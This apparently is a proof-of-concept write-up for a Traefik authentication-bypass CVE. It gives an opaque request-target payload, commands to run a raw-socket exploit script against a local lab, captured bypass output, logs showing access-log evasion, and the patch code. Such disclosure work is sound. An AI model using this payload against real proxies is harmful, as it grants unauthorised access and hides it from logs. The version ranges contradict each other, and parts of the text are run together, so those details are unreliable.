
CVE-2026-88009 — Traefik forwards a rootless opaque request target that routing/forwardAuth see as '/'. Auth bypass + access-log evasion, verified v3.7.10 / v3.7.13.
/ but forwards it verbatimAffected: Traefik < 2.11.57, and 3.0.0 – 3.7.13
Fixed: 2.11.57 / 3.7.13
Fix: commit 58d1e9ca2045 "Deny request with an opaque request target" — denyOpaque in pkg/server/server_entrypoint_tcp.go
Advisory: GHSA-f52w-8j3h-j724 · CVSS 8.8 · CWE-1286 / CWE-444
Go's net/http does not enforce origin-form on the request target: it hands the raw
target to url.ParseRequestURI. A target such as
GET http:http://app.local/private/secret HTTP/1.1
parses to {Scheme:"http", Opaque:"http://app.local/private/secret", Path:""} — a
legal absolute-form target per RFC 9112 §3.2.2. Traefik then evaluates everything
against a path that normalizes to /:
sanitizePath calls URL.JoinPath(), which copies Opaque and sets Path="/";Path, so PathPrefix(/) (and any Host() router) matches;forwardAuth builds X-Forwarded-Uri from URL.RequestURI(), which returns
Opaque, so the auth server sees http://app.local/private/secret instead of
/private/secret and a path-prefix policy fails open;encodedCharacters inspects EscapedPath() → /;GET / HTTP/1.1.The outbound request is written with URL.RequestURI() again, which returns Opaque
verbatim, so the backend receives the attacker's authority-bearing target and resolves
it to /private/secret.
The fix wraps the entrypoint handler last so it runs first:
func denyOpaque(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
if req.URL.Opaque != "" {
log.WithoutContext().Debugf("Rejecting request because it has an opaque URL: %s", req.URL.Opaque)
rw.WriteHeader(http.StatusBadRequest)
return
}
h.ServeHTTP(rw, req)
})
}
| role | image | container | host port |
|---|---|---|---|
| vulnerable proxy | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21020 → :8001 (entrypoint opaque) |
| fixed proxy | traefik:v3.7.13 | poc-traefik-3713 | 127.0.0.1:21023 → :8001 |
PathPrefix(/) with forwardAuth → http://authz:8080/check.poc-traefik-authz implements a path-prefix policy: X-Forwarded-Uri starting
with /private → 403 DENY, everything else → 200 ALLOW; it logs the exact
URI it was asked about.poc-traefik-app resolves a rootless/absolute target to a path (the behaviour the
advisory requires of the backend: "against a backend that resolves a rootless target
as a path") and serves SECRET-AREA … for /private/*.lab/README.md.python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020 # vulnerable
python3 cve_2026_88009.py check --url http://127.0.0.1:21023 # fixed
The PoC speaks raw sockets on purpose: curl normalizes the target and
http.client refuses a non-origin-form path, so both hide the bug. --path,
--vhost, --output are available.
traefik:v3.7.10 — forwardAuth bypass$ python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020
[*] target : http://127.0.0.1:21020
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : exploit
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 200 OK
SECRET-AREA internal data served for /private/secret
request_line: GET http://app.local/private/secret HTTP/1.1
resolved_path: /private/secret
=> PASS (opaque target bypassed forwardAuth and reached /private/secret: HTTP 200, backend served the protected content)
The auth server was consulted, but with the attacker-shaped URI — this is the fail-open, from the authz container's log:
[authz] X-Forwarded-Uri='/private/secret' -> 403
[authz] X-Forwarded-Uri='http://app.local/private/secret' -> 200
[authz] X-Forwarded-Uri='/private/secret' -> 403
And the proxy's access log hides the attack — the request is logged as /:
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET /private/secret HTTP/1.1" 403 24 "-" "-" 2 "opaque-lab@file" "-" 1ms
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET / HTTP/1.1" 200 143 "-" "-" 3 "opaque-lab@file" "http://app:8080" 2ms
$ curl -sS -w '\n[%{http_code}]\n' http://127.0.0.1:21020/private/secret
DENY uri=/private/secret
[403]
traefik:v3.7.13 — opaque target rejected before routing$ python3 cve_2026_88009.py check --url http://127.0.0.1:21023
[*] target : http://127.0.0.1:21023
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : check
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 400 Bad Request
=> PASS (fixed: opaque request target rejected with HTTP 400 before routing)
forwardAuth fail-open) and access
log evasion. The same target form also gives cross-vhost routing (the backend gets
http://app.local/…, i.e. an authority it never saw from the router), because
routing matched on Path="/" while the forwarded target carries the embedded host.encodedCharacters bypass was not reproduced separately (the lab does not enable
allowEncodedSlash=false); it follows from the same EscapedPath()=="/" reasoning
documented in the advisory.